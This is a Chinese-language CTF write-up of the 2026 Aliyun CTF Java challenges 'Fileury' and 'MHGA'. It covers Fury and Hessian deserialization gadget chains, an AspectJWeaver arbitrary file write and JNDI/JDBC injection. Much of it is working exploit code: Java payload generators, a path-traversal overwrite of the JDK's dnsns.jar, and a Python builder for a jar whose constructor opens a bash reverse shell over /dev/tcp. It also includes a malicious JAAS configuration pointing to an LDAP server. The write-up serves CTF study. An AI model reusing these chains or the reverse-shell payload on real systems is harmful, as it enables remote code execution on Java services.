文章预计首发先知…晚点贴
第四届阿里ctf,看下几个java题,每年的传统了
https://www.aliyunctf.com/challenges
好像是这道题全网首发Fileury二次反序列化的poc,因为其他人的解题路径不太一样,可能不屑写预期解吧hh
fileury 好像每年都出fury?这是ali强推的序列化组件吗,老演员了
mcp测试 临时兴起,后面还是得分析的,这里测试下Jadx mcp性能,看下能不能解决阿里这种级别
虽然没有直接给出poc,但是sink点还是有的
后面找链子还是不太行,看来还有机会
写文件加载 dnsns or jce jar 之前我说aspectjweaver:
原来被修复的cc也能用上,打扰
先看入口,接收base64字符串去反序列化
先看依赖有aspectj,可惜没有其他的,比如springaop
ban了很多类
官方wp说是用com.google.api.client.util.IOUtils的deserialize方法,存在二次反序列化
这个思路也是很吊的,因为fury的反序列化函数是deserialize,所以想到还有deserialize也能反序列化。
用tabby找下最直接的路径,并没有发现有这个链子。
wp说是UsingToStringOrdering的compare方法可以有数据流到达IOUtils,也没找到到达UsingToStringOrdering的链子,难道是我没加jdk源代码进去分析的原因(好像还真是没有加spring的去分析来着)?但是找了下是有HashMap的,没招了,真有二次反序列化吗
但是翻看了su队的wp,发现并没有ban org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap
能直接aspectjweaver写文件的!
二次反序列化暂时搁置一下,但是只有写文件,据说charsets.jar还被提前加载了,计划任务更是不考虑。
因为我们手上有附件,可以用-verbose:class本地运行jar包,看看加载了哪些jar
之前有分析过windows下会自动加载charsets.jar,这个有时候本地显示加载了远程也能打
1、没有加载dnsns.jar,可以通过反序列化sun.net.spi.nameservice.dns.DNSNameServiceDescriptor触发dnsns.jar加载
2、没有加载jce.jar,可以通过重写jar中的javax.crypto.NoSuchPaddingException类来加载
jar路径可以去spring fatjar写charsets.jar文里用字典全部遍历一遍
这里是/usr/local/openjdk-8/jre/lib/jce.jar
刚开始准备把两版都写一遍的,做完dnsns累到不行了,还是算了
单次反序列化poc su poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 import org.apache.commons.collections.comparators.TransformingComparator;import org.apache.commons.collections.functors.ConstantFactory;import org.apache.commons.collections.functors.StringValueTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.fury.Fury;import org.apache.fury.config.Language;import java.io.FileOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.HashMap;import java.util.Map;import java.util.PriorityQueue;public class alictf_Fileury { public static void main (String[] args) throws Exception { byte [] content = Files.readAllBytes(Paths.get("evildnsns.jar" )); String filename = "../../../../../../../../../usr/local/openjdk-8/jre/lib/ext/dnsns.jar" ; Class<?> scMapClass = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Constructor<?> constructor = scMapClass.getDeclaredConstructor(String.class, int .class); constructor.setAccessible(true ); Map storeableMap = (Map) constructor.newInstance("." , 100 ); ConstantFactory factory = new ConstantFactory (content); Map lazyMap = LazyMap.decorate(storeableMap, factory); TiedMapEntry entry = new TiedMapEntry (lazyMap, filename); org.apache.commons.collections.Transformer transformer = StringValueTransformer.getInstance(); TransformingComparator comparator = new TransformingComparator (transformer); PriorityQueue queue = new PriorityQueue (2 , comparator); Field sizeField = PriorityQueue.class.getDeclaredField("size" ); sizeField.setAccessible(true ); sizeField.set(queue, 2 ); Field queueField = PriorityQueue.class.getDeclaredField("queue" ); queueField.setAccessible(true ); Object[] queueArray = new Object [2 ]; queueArray[0 ] = entry; queueArray[1 ] = entry; queueField.set(queue, queueArray); System.out.println("Serializing AspectJ Chain with Fury..." ); Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false ).build(); byte [] serializedInfo = fury.serialize(queue); String b64 = Base64.getEncoder().encodeToString(serializedInfo); FileOutputStream fos = new FileOutputStream ("payload_aj.b64" ); fos.write(b64.getBytes()); fos.close(); System.out.println("AspectJ Payload saved to payload_aj.b64" ); } }
怎么构造ascii-jar呢?直接找到本地的dnsns.jar,写个构造函数即可(好像也不用ascii-jar,之前构造charsets.jar都是直接编译就能用的,直接把dnsns.jar解压出来,然后直接改DNSNameServiceDescriptor构造函数或者静态代码块都可以)
也可以直接抄dnsns.jar的构造,ascii-jar登场
https://mp.weixin.qq.com/s/9e0V4bnV6fuGAfO1AKLYdw
先去git clone ascii-jar的项目,然后运行下面的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 from __future__ import print_functionimport timeimport osfrom compress import *allow_bytes = [] disallowed_bytes = [38 ,60 ,39 ,62 ,34 ,40 ,41 ] for b in range (0 ,128 ): if b in disallowed_bytes: continue allow_bytes.append(b) if __name__ == '__main__' : padding_char = 'U' raw_filename = 'DNSNameServiceDescriptor.class' zip_entity_filename = 'sun/net/spi/nameservice/dns/DNSNameServiceDescriptor.class' jar_filename = 'evildnsns.jar' num = 1 while True : javaCode = """ package sun.net.spi.nameservice.dns; import sun.net.spi.nameservice.*; import java.io.IOException; public final class DNSNameServiceDescriptor implements NameServiceDescriptor { private static final String paddingData = "{PADDING_DATA}"; public DNSNameServiceDescriptor() { try { Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/vpsip/port 0>&1"); } catch (IOException e) { e.printStackTrace(); } } public NameService createNameService() throws Exception { return new DNSNameService(); } public String getProviderName() { return "sun"; } public String getType() { return "dns"; } } """ padding_data = padding_char * num javaCode = javaCode.replace("{PADDING_DATA}" , padding_data) f = open ('DNSNameServiceDescriptor.java' , 'w' ) f.write(javaCode) f.close() time.sleep(0.1 ) os.system("D:/jdk-all/jdk_8u_381/bin/javac.exe -cp jasper.jar DNSNameServiceDescriptor.java" ) time.sleep(0.1 ) raw_data = bytearray (open (raw_filename, 'rb' ).read()) compressor = ASCIICompressor(bytearray (allow_bytes)) compressed_data = compressor.compress(raw_data)[0 ] crc = zlib.crc32(raw_data) % pow (2 , 32 ) st_crc = struct.pack('<L' , crc) st_raw_data = struct.pack('<L' , len (raw_data) % pow (2 , 32 )) st_compressed_data = struct.pack('<L' , len (compressed_data) % pow (2 , 32 )) st_cdzf = struct.pack('<L' , len (compressed_data) + len (zip_entity_filename) + 0x1e ) b_crc = isAllowBytes(st_crc, allow_bytes) b_raw_data = isAllowBytes(st_raw_data, allow_bytes) b_compressed_data = isAllowBytes(st_compressed_data, allow_bytes) b_cdzf = isAllowBytes(st_cdzf, allow_bytes) if b_crc and b_raw_data and b_compressed_data and b_cdzf: print ('[+] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}' .format (b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char)) output = open (jar_filename, 'wb' ) output.write(wrap_jar(raw_data,compressed_data, zip_entity_filename.encode())) print ('[+] Generate {0} success' .format (jar_filename)) break else : print ('[-] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}' .format (b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char)) num = num + 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import org.apache.fury.Fury;import org.apache.fury.config.Language;import java.io.FileOutputStream;import java.lang.reflect.Constructor;import java.util.Base64;public class ExpDNS { public static void main (String[] args) throws Exception { System.out.println("Generating payload to load sun.net.spi.nameservice.dns.DNSNameServiceDescriptor..." ); Fury fury = Fury.builder() .withLanguage(Language.JAVA) .requireClassRegistration(false ) .build(); Class<?> clazz = Class.forName("sun.net.spi.nameservice.dns.DNSNameServiceDescriptor" ); Constructor constructor = clazz.getDeclaredConstructor(); Object instance = constructor.newInstance(); byte [] payload = fury.serialize(instance); String b64 = Base64.getEncoder().encodeToString(payload); try (FileOutputStream fos = new FileOutputStream ("payload_dns.b64" )) { fos.write(b64.getBytes()); } System.out.println("Payload saved to payload_dns.b64" ); System.out.println("Payload Base64: " + b64); } }
弹回shell
二次反序列化 去年也是fury反序列化,并且去年分析到了Fury.deserialize有触发到compare然后触发到IoUtil.readObj二次反序列化的链子
1 2 3 4 5 6 7 8 9 10 Fury.deserialize -> CollectionSerializer.read -> PriorityQueue.add -> PropertyComparator.compare -> PropertyUtilsBean.invokeMethod -> getter MapProxy.invoke -> BeanConverter.convertInternal -> readObject -> PriorityQueue.readObject -> TemplatesImpl.getOuputProperties
https://godownio.github.io/2025/02/28/2025aliyun-ctf-java/
在测试的时候发现Fury->CollectionSerializer都有搜索
1 2 3 4 MATCH p = (start:Method)-[:CALL*1..10]->(end:Method) WHERE start.CLASSNAME = "org.apache.fury.Fury" AND end.CLASSNAME = "org.apache.fury.serializer.collection.CollectionSerializer" RETURN p
涉及到了跨反序列化器的好像确实搜索不到,比如CollectionSerializer->java.util.PriorityQueue
1 2 3 4 MATCH p = (start:Method)-[:CALL*1..20]->(end:Method) WHERE start.CLASSNAME = "org.apache.fury.serializer.collection.CollectionSerializer" AND end.CLASSNAME = "java.util.PriorityQueue" RETURN p
不管了,前半段还是一样的用:
1 2 3 4 Fury.deserialize -> CollectionSerializer.read -> PriorityQueue.add -> compare
需要找到达IOUtils.deserialize的链子,有且仅有AbstractMemoryDataStore.get调用了IOUtils.deserialize
get方法,我思前想后,toString从官方放出的hint也就知道,com.google.common.collect.UsingToStringOrdering#compare是能调用到toString的
那toString怎么调用到get呢?
于是我翻看了values函数,发现是循环调用get出来,那dataSource如果需要toString的话,那肯定会调用自身的get啊!
果不其然,我在DataStoreUtils.toString中找到了调用get的方法(不是调用get就会调用values,想想toString的功能设计就知道这里会有了)
(其实我开始想到了lilctf的CodeSigner.toString->get,但是写的时候才发现只能调用List.get )
所以我觉得链子应该是:
1 2 3 4 5 6 7 8 9 10 11 12 13 Fury.deserialize -> CollectionSerializer.read -> PriorityQueue.add -> UsingToStringOrdering.compare -> AbstractMemoryDataStore.toString-> DataStoreUtils.toString-> AbstractMemoryDataStore.get -> IOUtils.deserialize 二次反序列化打aspectJweaver BadAttributeValueExpException#readObject -> TieMapEntry#toString -> getValue -> LazyMap.get -> SimpleCache$StoreableCachingMap.put
可是su为什么这样打也行啊啊啊
1 2 3 4 5 6 7 8 9 10 11 12 13 PriorityQueue.readObject() → heapify() → siftDown() → comparator.compare(queue[0], queue[1]) → TransformingComparator.compare() → StringValueTransformer.transform(TiedMapEntry) → String.valueOf(TiedMapEntry) → TiedMapEntry.toString() → TiedMapEntry.getValue() → LazyMap.get(key) → factory.create() [ConstantFactory 返回预设的 byte[]] → StoreableCachingMap.put(key, value) → 写入文件 key,内容为 value
第一个问题是TransformingComparator不是在黑名单吗,噢他妈的环境是cc3.2.2,你过滤cc4的有毛用啊喂
第二个问题是不用IOUtils二次反序列化也能打?因为他妈的压根没有过滤aspectJweaver链子啊喂
无敌了,wp想考的二次反序列化形同虚设,尤其是cc3的依赖过滤cc4我是真没绷住
二次反序列化poc 网上好像没有这条链子的poc来着
好久没写poc了,正好练手,等下,UsingToStringOrdering->toSting是不是能和SU POC里的PriorityQueue->toString相互代替来着?两个其实用哪个触发到get都一样的
1 2 3 4 5 6 7 8 9 10 11 12 13 Fury.deserialize -> CollectionSerializer.read -> PriorityQueue.add -> UsingToStringOrdering.compare -> AbstractMemoryDataStore.toString-> DataStoreUtils.toString-> AbstractMemoryDataStore.get -> IOUtils.deserialize 二次反序列化打aspectJweaver BadAttributeValueExpException#readObject -> TieMapEntry#toString -> getValue -> LazyMap.get -> SimpleCache$StoreableCachingMap.put
注意二次反序列化二阶段就不能用org.apache.commons.collections.comparators.TransformingComparator了,因为fury是用反序列化器调用还原对象的,TransformingComparator不可序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 import com.caucho.quercus.annotation.Construct;import com.google.api.client.util.store.AbstractMemoryDataStore;import com.google.api.client.util.store.DataStoreUtils;import com.google.api.client.util.store.MemoryDataStoreFactory;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.fury.Fury;import org.apache.fury.config.Language;import javax.management.BadAttributeValueExpException;import javax.swing.event.EventListenerList;import javax.swing.undo.CompoundEdit;import javax.swing.undo.UndoManager;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.charset.StandardCharsets;import java.nio.file.Files;import java.nio.file.Paths;import java.security.CodeSigner;import java.security.cert.X509Certificate;import java.util.*;import sun.security.provider.certpath.X509CertPath;import java.io.FileOutputStream;public class alictf_Fileury { public static void main (String[] args) throws Exception { String filename = "../../../../../../../../../usr/local/openjdk-8/jre/lib/ext/dnsns.jar" ; byte [] code = Files.readAllBytes(Paths.get("evildnsns.jar" )); Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Constructor constructor = clazz.getDeclaredConstructor(String.class,int .class); constructor.setAccessible(true ); HashMap storeableCachingMap = (HashMap) constructor.newInstance("." ,1 ); LazyMap lazy = (LazyMap) LazyMap.decorate(storeableCachingMap, new ConstantTransformer (code)); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazy, filename); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Field field = BadAttributeValueExpException.class.getDeclaredField("val" ); field.setAccessible(true ); field.set(badAttributeValueExpException, tiedMapEntry); MemoryDataStoreFactory memoryDataStoreFactory = MemoryDataStoreFactory.getDefaultInstance(); Class<?> memoryStoreClass = Class.forName("com.google.api.client.util.store.MemoryDataStoreFactory$MemoryDataStore" ); Constructor<?> constructor1 = memoryStoreClass.getDeclaredConstructor( MemoryDataStoreFactory.class, String.class ); constructor1.setAccessible(true ); Class<?> clazz1 = Class.forName("com.google.common.collect.UsingToStringOrdering" ); Field instanceField = clazz1.getDeclaredField("INSTANCE" ); instanceField.setAccessible(true ); Comparator ordering = (Comparator) instanceField.get(null ); AbstractMemoryDataStore store = (AbstractMemoryDataStore) constructor1.newInstance(memoryDataStoreFactory, "my-store-id" ); store.set("godown" , badAttributeValueExpException); PriorityQueue queue = new PriorityQueue (2 , ordering); Field sizeField = PriorityQueue.class.getDeclaredField("size" ); sizeField.setAccessible(true ); sizeField.set(queue, 2 ); Field queueField = PriorityQueue.class.getDeclaredField("queue" ); queueField.setAccessible(true ); Object[] queueArray = new Object [2 ]; queueArray[0 ] = store; queueArray[1 ] = store; queueField.set(queue, queueArray); System.out.println("Serializing AspectJ Chain with Fury..." ); Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false ).build(); byte [] serializedInfo = fury.serialize(queue); String b64 = Base64.getEncoder().encodeToString(serializedInfo); FileOutputStream fos = new FileOutputStream ("payload_aj.b64" ); fos.write(b64.getBytes()); fos.close(); System.out.println("AspectJ Payload saved to payload_aj.b64" ); byte [] decoded = Base64.getDecoder().decode(b64); String decodedStr = new String (decoded, StandardCharsets.UTF_8); fury.deserialize(decoded); } }
调了一晚上,不ez /(ㄒoㄒ)/~~
后续 过了几天,想不过去为什么静态搜不出来,于是上了codeql加依赖生成数据库试一下
jadx导出源代码,然后不编译模式生成数据库:
1 codeql database create db-name --language=java --source-root=./sources --build-mode =none
等个10多分钟,根据这篇,下一个apache的codeql规则
https://aecous.github.io/2025/03/12/Codeql%E5%85%A8%E6%96%B0%E7%89%88%E6%9C%AC%E4%BB%8E0%E5%88%B01/#%E7%9B%B4%E6%8E%A5%E8%8E%B7%E4%B8%8B%E8%BD%BD%E5%B7%B2%E7%BB%8F%E5%88%9B%E5%BB%BA%E5%A5%BD%E7%9A%84%E5%BA%93
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 /** * @name UsingToStringOrdering to IOUtils.deserialize * @description Finds any call path from UsingToStringOrdering.compare to IOUtils.deserialize * @kind problem * @id java/gadget/usingtostringordering-call-chain */ import java predicate mayCall(Method caller, Method callee) { exists(MethodCall ma | ma.getEnclosingCallable() = caller and ( ma.getMethod() = callee or callee.overrides*(ma.getMethod()) ) ) } predicate reachableWithin(Method src, Method dst, int steps) { steps = 1 and mayCall(src, dst) or steps > 1 and exists(Method mid | mayCall(src, mid) and reachableWithin(mid, dst, steps - 1 ) ) } from Method m1, Method m5, int distwhere m1.getDeclaringType().hasName("UsingToStringOrdering" ) and m1.hasName("compare" ) and m5.getDeclaringType().hasName("IOUtils" ) and m5.hasName("deserialize" ) and dist = min (int n | n >= 1 and n <= 7 and reachableWithin(m1, m5, n) ) select m1, m5, dist, "Found call path (<=10): UsingToStringOrdering.compare -> ... -> IOUtils.deserialize"
跑了好久好久,最后还是没结果,我不明白啊
另外java-analyzer也没找到
MHGA Make Hessian Great Again
mcp测试 题目提示hessian,不过依旧先mcp过一遍先
感觉能分析出7788了,他提到的jdk11/HessianProxyFactory/ViburDBCObjectFactory也确实被用到了
摘要 面对答案复现
ViburDBCPObjectFactory JNDI->
Databricks JDBC Attack->JDBC to JNDI->
HessianProxyFactory JNDI->
JavaUtils.writeBytesToFilename + System.load
为什么不直接调用HessianProxyFactory JNDI?
题目只有InitialContext.lookup,而HessianProxyFactory返回的动态Proxy对象无法调用obj.xxx()这种方法去触发invoke,所以外套
中间还有trustSerialData 绕过的姿势,不过这个绕过现在没看懂,可能是之前没写过Ldap JNDI Server的原因,分析后再看吧
ViburDBCPObjectFactory JNDI to JDBC 首先InitialContext.loop 的JNDI找继承了ObjectFactory的类,触发方法为getObjectInstance不用多说
详细解释一下getObjectInstance怎么触发JDBC的吧,因为之前没看过Hikari的JNDI转JDBC来着
ViburDBCPObjectFactory.getObjectInstance会调用ViburDBCPDataSource.start()
start->doStart,doStart函数里调用了initialJdbcDriver初始化driver,然后根据driver获取connector,然后初始化ConcurrentPool
initialJdbcDriver可以指定Driver和jdbcurl
ConcurrentPool构造函数里,availableSize==0调用了addInitialObjects
addInitialObjects循环initialSize,调用了poolObjectFactory.create()
转到ConnecttionFactory.create,调用了connector.connect,完成jdbc连接
那怎么传入jdbcurl/username/password/driver等值呢?
ViburDBCPObjectFactory.getObjectInstance会从接收到的obj(Reference)对象中循环setProperty赋值,所以传Reference就行了
1 2 3 4 5 6 7 8 9 Reference ref = new Reference ("javax.sql.DataSource" , "org.vibur.dbcp.ViburDBCPObjectFactory" , null );ref.add(new StringRefAddr ("driverClassName" , props.getProperty("driver" ))); ref.add(new StringRefAddr ("jdbcUrl" , props.getProperty("url" ))); ref.add(new StringRefAddr ("username" , "test" )); ref.add(new StringRefAddr ("password" , "test" )); if (props.getProperty("sql" ) != null ) { ref.add(new StringRefAddr ("initSQL" , props.getProperty("sql" ))); }
这里的driver和url还要改的
知道这里能JNDI触发JDBC,为了方便可以AI写一个Reference封装org.vibur.dbcp.ViburDBCPObjectFactory去触发jdbc连接的代码
databricks jdbc attack to JNDI databricks 能通过krbJAASFile参数从本地或远程加载配置文件,再次触发JNDI注入
https://blog.pyn3rd.com/2024/12/13/Databricks-JDBC-Attack-via-JAAS/
jdbc url如下
jaas.conf如下
1 2 3 4 5 6 7 8 Client { com.sun.security.auth.module .JndiLoginModule required user.provider.url="ldap://127.0.0.1:1389/wr4euw" group.provider.url="test" useFirstPass=true serviceName="test" debug=true ; };
想看下怎么触发的,按理说这里搭个环境调试下就行了,奈何我真的懒得要命,ai依赖症犯了
我勒个豆,ai秒了
最后还是调试了),这是栈,只能说ai是神
经过乱七八糟的字段判断,会调用Kerberos的认证,那么就要获取配置文件。调用Kerberos.getSubjectViaJAASConfig获取配置文件
那还说啥了,根据栈里的DownloadableFetchClientFactory#createClient和HiveServer2ClientFactory#createTransport,Config还支持http/https协议读取
Kerberos.getSubjectViaJAASConfig会调用Configuration.getConfiguration()解析配置文件,然后调用LoginContext.login
经过ConfigFile的实例化后,把com.sun.security.auth.module.JndiLoginModule这种配置内容都配置进去了
书接上文,LoginContext.login经过一堆调用会调用到JndiLoginModule
JndiLoginModule.login会调用attemptAuthentication
进而触发jndi,而且这里lookup完会去调用他的search方法,而不是直接像题目一样lookup就结束了,这样就会触发Proxy.invoke,不过这里lookup的返回值强转为了DirContext才能调用
所以可以称为:二次JNDI?
HessianProxyFactory JNDI to Hessian反序列化 HessianProxyFactory.getObjectInstance中,从reference中读取字段赋值,type/url/user/password(这里url可以支持http等协议),然后调用create去实例化HessianProxy这个动态代理类
HessianProxy.invoke会调用readReply,这里InputStream为Hessian2Input
跟进到Hessian2Input.readReply,调用了this.readObject,典型的hessian反序列化
HessianProxyFactory 本质上是为 Hessian Web RPC 服务的,服务端暴露一个可以接收 Hessian 序列化数据的 HessianServlet,然后客户端就可以通过动态代理的方式与服务端的 Servlet 交互,实现 RPC 调用
Ref:https://su18.org/post/hessian/#%E6%8E%A5%E5%8F%A3%E7%9A%84%E6%9A%B4%E9%9C%B2%E4%B8%8E%E8%AE%BF%E9%97%AE
另外还有一个我们最开始看到的类,BurlapProxyFactory,他的代码和HessianProxyFactory几乎一模一样,不过这里用的api.getClassLoader
不过这里通过loader获取类加载器,而api是javax.naming.directory.DirContext及其子类,都是jdk内的类。通过这种方式获取的类加载器都是BootStrap,没法加载第三方jar,导致报错。
Hessian反序列化 这个超全:
https://1diot9.github.io/2026/03/06/Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B4%E7%90%86/
我曹,关注了1diot9,这链子图无敌了,直接偷
这里可以用两种打法
createValue反射调用任意static方法和构造函数,因为这里没有newInstance
HashMap.readObject -> AbstractMap.equals -> javax.swing.UIDefaults$TextAndMnemonicHashMap.get->getFromHashtable->SwingLazyValue(only jdk8)/javax.swing.UIDefaults$ProxyLazyValue.createValue->JavaUtils.writeBytesToFilename(FileWrite)/System.load
SwingLazyValue jdk8以上没了,所以jdk11用UIDefaults$ProxyLazyValue打,写dll+load加载或者CPX都可以,反正出网
另外反射调用MethodUtil#invoke可以扩大到任意方法,进而加载字节码/Runtime/signedObject
另外Hessian反序列化除了触发put,还有hashCode/equals/compareTo
HashMap.readObject -> AbstractMap.equals -> javax.swing.UIDefaults$TextAndMnemonicHashMap.get -> toString
这里还有com.databricks.client.jdbc.internal.fasterxml.jackson,也有pojoNode,所以拼上结束
POJONode.toString -> JSON.writeValueAsString ->getter
多提一嘴,getter一般是打TemplatesImpl,不过Hessian不能反序列化transient会导致初始化TemplatesImpl报错的问题
Linux有sun.print.UnixPrintService的printer可以携带参数,然后里面有好多getter都会execCmd该参数的内容,不过这个类只在windows下有,而且是私有+没继承Serializable接口,但是在不需要Serializable场景下调用getter(hessian)就会触发漏洞,因为是私有类所以fastjson/jackson/snakeYaml这种几乎不用考虑了
https://aecous.github.io/2023/10/01/%E5%88%9D%E6%8E%A2UnixPrintService/
因为前面有强转为DirContext,所以这里Proxy也需要代理DirContext
JNDI trustSerialData限制 下文介绍了JNDI修复的记录
https://mp.weixin.qq.com/s/0Ak9SzG8fnfh3d5llb-TFw
本体pom.xml给出了jdk版本为11,如下版本开始trustSerialData=false
1 2 openjdk 8u432/11.0.25/17.0.13 oraclejdk 8u461/11.0.28/17.0.16
根据如下文章
https://github.com/H4cking2theGate/ysogate/blob/master/docs/JNDIMode.md
com.sun.jndi.ldap.object.trustSerialData属性为false,无法在com.sun.jndi.ldap.Obj#decodeObject中反序列化,绕过方式主要有:
通过设置javaRemoteLocation来使用com.sun.jndi.ldap.Obj#decodeRmiObject还原Factory对象,从ldap转换成rmi进行绕过。
利用本地Factory进行攻击时,可以通过设置objectClass为javaNamingReference来避免进行反序列化,利用decodeReference来还原Factory对象,不适用于BeanFactory绕过,因为BeanFactory需要ResourceRef类型。
显然onlyRef是可以的,因为并没有用到BeanFactory
未实现绕过的原始ldapAtkServer来自marshalsec:
https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
基于这上面叫ai改就行了
原来ldap是能打Reference的噢,看来又得修改知识库了,原来以为只有RMI+Reference
非预期 JNDI可以打JRMP,因为POJONode原生反序列化能直接触发RCE,所以用JRMP Listener返回Pojo链就RCE了
额,我其实有个疑问是因为JEP290,高版本不是不能打JRMP了吗
关于JRMP的两种攻击流程如下 第一种攻击方式 个人理解:基于RMI的反序列化中的客户端打服务端的类型
我们需要先发送指定的payload(JRMPListener)到存在漏洞的服务器中,使得该服务器反序列化完成我们的payload后会开启一个RMI的服务监听在设置的端口上。
我们还需要在我们自己的服务器使用exploit(JRMPClient)与存在漏洞的服务器进行通信,并且发送一个利用链,达到一个命令执行的效果。
简单来说就是将一个payload(JRMPListener)发送到存在漏洞的服务器,存在漏洞的服务器反序列化操作该payload(JRMPListener)过后会在指定的端口开启RMI监听,然后再通过exploit(JRMPClient) 去发送利用链载荷,最终在存在漏洞的服务器上进行反序列化操作。二次反序列化这一块
第二种攻击方式 个人理解:基于RMI的反序列化中的服务端打客户端的类型,这种攻击方式在实战中比较常用
将exploit(JRMPListener)作为攻击方进行监听。
我们发送指定的payloads(JRMPClient)使得存在漏洞的服务器向我们的exploit(JRMPListener)进行连接,连接后exploit(JRMPListener)则会返回给存在漏洞的服务器序列化的对象,而存在漏洞的服务器接收到了则进行反序列化操作,从而进行命令执行的操作。
PS:这里的payload和exploit就是指的不同包下的JRMPListener和JRMPClient!
Ref:https://www.cnblogs.com/zpchcbd/p/14934168.html
而且这里开监听用的是yso exploit下的代码,另一端执行用的payloads下的代码。打JNDI的话直接输地址就行了,连Client都省了
所以第二种打法是无版本限制的
另外,当个乐子看,在 exploit/JRMPListener 和 payloads/JRMPClient 的利用过程中,这个 server 端和 client 端,攻击者和受害者的角色是可以互换的,在你去打别人的过程中,很有可能被反手一下,所以最好的情况就是,只是发送数据,不去接受另一端传过来的信息,所以说用这个 exploit/JRMPClient 是不会自己打自己的
所以如果打JRMPLisenter,这里的poc是直接改ysoserial的这里,好像不用改源码也行?参数指定就行了
https://github.com/1diot9/CTFSolutions/blob/main/idea/2026/AliyunCTF/MHGA/src/main/java/solution/JRMPListener.java
Client直接lookup
initialContext.lookup("rmi://127.0.0.1:1399/any");
这也就解释了,为什么非预期是直接打的TemplatesImpl,因为是JRMP原生反序列化,并不是hessian,当然能直接打了。
payload代码就不写了,看起来乱乱的
别人写了:https://github.com/1diot9/CTFSolutions/blob/main/idea/2026/AliyunCTF/MHGA/src/main/java/solution